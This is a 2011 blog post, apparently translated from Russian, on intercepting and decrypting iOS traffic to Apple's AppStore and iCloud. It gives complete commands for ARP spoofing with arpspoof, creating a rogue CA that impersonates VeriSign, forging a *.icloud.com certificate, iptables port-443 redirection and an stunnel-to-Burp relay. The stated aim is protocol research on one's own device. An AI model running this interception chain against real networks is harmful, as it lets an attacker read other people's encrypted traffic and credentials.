December 25, 2011 at 05:24AppStore and iCloud traffic disclosure
Below is a description of the technique with which you can decrypt the protocols by which iOS communicates with Apple services (AppStore, iCloud, etc). This technique can be useful for understanding the operation of services, and for a comprehensive answer to the question of what data Apple takes from your device.
The attack is carried out in several stages:
1 Assembly of the stand.
2 Traffic management.
3 Generation and installation of self-styled CA.
4 Generate fake certificates for Apple services and sign them with a self-proclaimed CA.
5 Conducting a MITM attack using received certificates
The attacker's computer and apple device are placed on the same L2 (802.11) network. Further, devices are entered into one L3 subnet, for example 192.168.1.0/24. For the subnet, Internet routing must be configured. The attacker will most likely use Linux to attack.
The attacker, generating specially formed ARP packets, ensures that his MAC address on the device being attacked is associated with the network gateway, and for the gateway, the attacker, by the same principle, becomes the device being attacked. As a result, all traffic in both directions between the gateway and the attacked device passes through the attacker's computer (there are 100500 ways to achieve this state, arpspoof is probably the easiest if there is no control over the gateway). To successfully work in this state, you need to enable packet forwarding in the attacker's computer, this is done for spoofing using the old and reliable arpspoof:
You can verify the success of traffic interception through wireshark by setting filters for the attacked ip (since wireshark will see one packet twice during forwarding, it will mark them with a scary color and swear at retransmits, but they can be filtered)
Here a theoretical digression is necessary, since before the solution became obvious it was necessary to experiment. All regular authentication procedures (passwords, certificates from mail, wifi, etc.) in iOS go through the securityd daemon, which runs every time you need to go through the authentication procedure. All data (authentication secrets, etc.) that the daemon uses is stored in the sqlite database (keychain-2.db), which is located on my dirty ipad with the old firmware in:
Since when connecting the iphone to icloud or appstore, the server authenticates with a certificate, it was not at first clear why the authentication was successful, even if the storage was deleted or deleted. Further research showed that some CAs, including VeriSign CAs (which are certified by Appple server certificates), were wired directly to the securityd executable file, from where, apparently, they were taken for the server authentication procedure when connecting to the AppStore.
The native CA tools on iphone are designed so that the user can add their CAs on the iphone, which, apparently, should help authenticate any user systems. However, the mechanism works in such a way that nothing prevents us from installing our “self-proclaimed” CA on the iphone, which will be used to certify the fake certificates generated by us for * .itunes.apple.com and * .icloud.com (why Apple allows this is a separate issue ) What is noteworthy, this procedure is regular and does not require any jailbreaks.
I generated CA like this: The resulting cacert.pem can be sent to iphone, as an attachment to mail, installation is possible directly from the letter.
It is carried out in 2 stages: first we generate a request, then we sign it with our CA:
After we passed traffic through ourselves and did everything described with certificates, we need to intercept all connections to the services of interest to us and pass them through our design. You can do this in a dumb and reliable way: intercepting all connections to port 443: So all connections to 443 from iphone will be transferred to a certain entity that will listen locally on port 8443. In my case, it was a stunnel with the following config: As you can see from this config, in order for the circuit to close, you need a proxy with 9000> 9500, through which the traffic will go in the clear, I use Burp for this : Everything, now you can study Apple protocols and, finally, find out what secrets of your personality directly fly into the dark cellars of Cupertino =)
The attack is carried out in several stages:
1 Assembly of the stand.
2 Traffic management.
3 Generation and installation of self-styled CA.
4 Generate fake certificates for Apple services and sign them with a self-proclaimed CA.
5 Conducting a MITM attack using received certificates
1. Assembly of the stand
The attacker's computer and apple device are placed on the same L2 (802.11) network. Further, devices are entered into one L3 subnet, for example 192.168.1.0/24. For the subnet, Internet routing must be configured. The attacker will most likely use Linux to attack.
2. Traffic management
The attacker, generating specially formed ARP packets, ensures that his MAC address on the device being attacked is associated with the network gateway, and for the gateway, the attacker, by the same principle, becomes the device being attacked. As a result, all traffic in both directions between the gateway and the attacked device passes through the attacker's computer (there are 100500 ways to achieve this state, arpspoof is probably the easiest if there is no control over the gateway). To successfully work in this state, you need to enable packet forwarding in the attacker's computer, this is done for spoofing using the old and reliable arpspoof:
sysctl -w net.ipv4.ip_forward=1
#или
echo 1 > /proc/sys/net/ipv4/ip_forward
#192.168.1.101 - iphone
#192.168.1.101 - шлюз
arpspoof -i wlan0 -t 192.168.1.101 192.168.1.1
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.101
#Команды должны выполняться параллельноYou can verify the success of traffic interception through wireshark by setting filters for the attacked ip (since wireshark will see one packet twice during forwarding, it will mark them with a scary color and swear at retransmits, but they can be filtered)
3. Generation of self-styled CA
Here a theoretical digression is necessary, since before the solution became obvious it was necessary to experiment. All regular authentication procedures (passwords, certificates from mail, wifi, etc.) in iOS go through the securityd daemon, which runs every time you need to go through the authentication procedure. All data (authentication secrets, etc.) that the daemon uses is stored in the sqlite database (keychain-2.db), which is located on my dirty ipad with the old firmware in:
iPad:/private/var/Keychains root# uname -a
Darwin iPad 10.4.0 Darwin Kernel Version 10.4.0: Wed Oct 20 20:14:45 PDT 2010; root:xnu-1504.58.28~3/RELEASE_ARM_S5L8930X iPad1,1 arm K48AP Darwin
iPad:/private/var/Keychains root# pwd
/private/var/Keychains
iPad:/private/var/Keychains root# ls -liahs keychain-2.db
147473 112K -rw------- 1 _securityd wheel 112K Dec 19 00:11 keychain-2.db
(как показал печальный опыт, правильные права на этом файле критически важны)
Подробнее о том, как данные организованы в базе, можно прочитать здесь.
Since when connecting the iphone to icloud or appstore, the server authenticates with a certificate, it was not at first clear why the authentication was successful, even if the storage was deleted or deleted. Further research showed that some CAs, including VeriSign CAs (which are certified by Appple server certificates), were wired directly to the securityd executable file, from where, apparently, they were taken for the server authentication procedure when connecting to the AppStore.
The native CA tools on iphone are designed so that the user can add their CAs on the iphone, which, apparently, should help authenticate any user systems. However, the mechanism works in such a way that nothing prevents us from installing our “self-proclaimed” CA on the iphone, which will be used to certify the fake certificates generated by us for * .itunes.apple.com and * .icloud.com (why Apple allows this is a separate issue ) What is noteworthy, this procedure is regular and does not require any jailbreaks.
I generated CA like this: The resulting cacert.pem can be sent to iphone, as an attachment to mail, installation is possible directly from the letter.
[20:36:02 dev@sandbox:~/CA]$openssl req -new -x509 -days 3650 -extensions v3_ca -keyout private/cakey.pem -out cacert.pem
Generating a 1024 bit RSA private key
.........................................................................++++++
.........................................++++++
writing new private key to 'private/cakey.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:VeriSign
Locality Name (eg, city) []:VeriSign Trust Network
Organization Name (eg, company) [Internet Widgits Pty Ltd]:VeriSign Inc
Organizational Unit Name (eg, section) []:Terms of use at www.verisign.com/rpa (c)09
Common Name (eg, YOUR name) []:VeriSign Class 3 Secure Server CA - G2
Email Address []:
4. Generate fake certificates for Apple services
It is carried out in 2 stages: first we generate a request, then we sign it with our CA:
[21:10:52 dev@sandbox:~/CA]$openssl req -new -nodes -out my_icloud_apple_req.pem -keyout my_icloud_apple_key.pem
Generating a 1024 bit RSA private key
......++++++
.++++++
writing new private key to 'my_icloud_apple_key.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:US
State or Province Name (full name) [Some-State]:california
Locality Name (eg, city) []:cupertino
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Apple Inc
Organizational Unit Name (eg, section) []:iTMS
Common Name (eg, YOUR name) []:*.icloud.com
Email Address []:
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
[22:42:33 dev@sandbox:~/CA]$openssl x509 -req -days 365 -in my_icloud_apple_req.pem -CA cacert.pem -CAkey private/cakey.pem -set_serial 01 -out my_icloud_apple_cert.pem
Signature ok
subject=/C=US/ST=california/L=cupertino/O=Apple Inc/OU=iTMS/CN=*.icloud.com
Getting CA Private Key
Enter pass phrase for private/cakey.pem:
[22:44:20 dev@sandbox:~/CA]$
#для appstore делается так же
5. Conducting a MITM attack using received certificates
After we passed traffic through ourselves and did everything described with certificates, we need to intercept all connections to the services of interest to us and pass them through our design. You can do this in a dumb and reliable way: intercepting all connections to port 443: So all connections to 443 from iphone will be transferred to a certain entity that will listen locally on port 8443. In my case, it was a stunnel with the following config: As you can see from this config, in order for the circuit to close, you need a proxy with 9000> 9500, through which the traffic will go in the clear, I use Burp for this : Everything, now you can study Apple protocols and, finally, find out what secrets of your personality directly fly into the dark cellars of Cupertino =)
iptables -A FORWARD -j ACCEPT
iptables -t nat -A PREROUTING -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8443
; PID is created inside the chroot jail
pid = /stunnel.pid
; Debugging stuff (may useful for troubleshooting)
debug = 7
output = /var/log/stunnel.log
; То что мы выше нагенерили
cert = /home/dev/CA/my_icloud_apple_cert.pem
key = /home/dev/CA/my_icloud_apple_key.pem
; Disable support for insecure SSLv2 protocol
options = NO_SSLv2
;Всё по https пришедшее на 8443 будет отправлено в открытом виде на 9000
[https_s]
accept = 0.0.0.0:8443
connect = 0.0.0.0:9000
;Всё пришедшее на 9500 в открытом виде, будет завёрнуто в https и отправлено на сервер icloud
[https_c]
client = yes
accept = 0.0.0.0:9500
connect = 17.172.208.53:443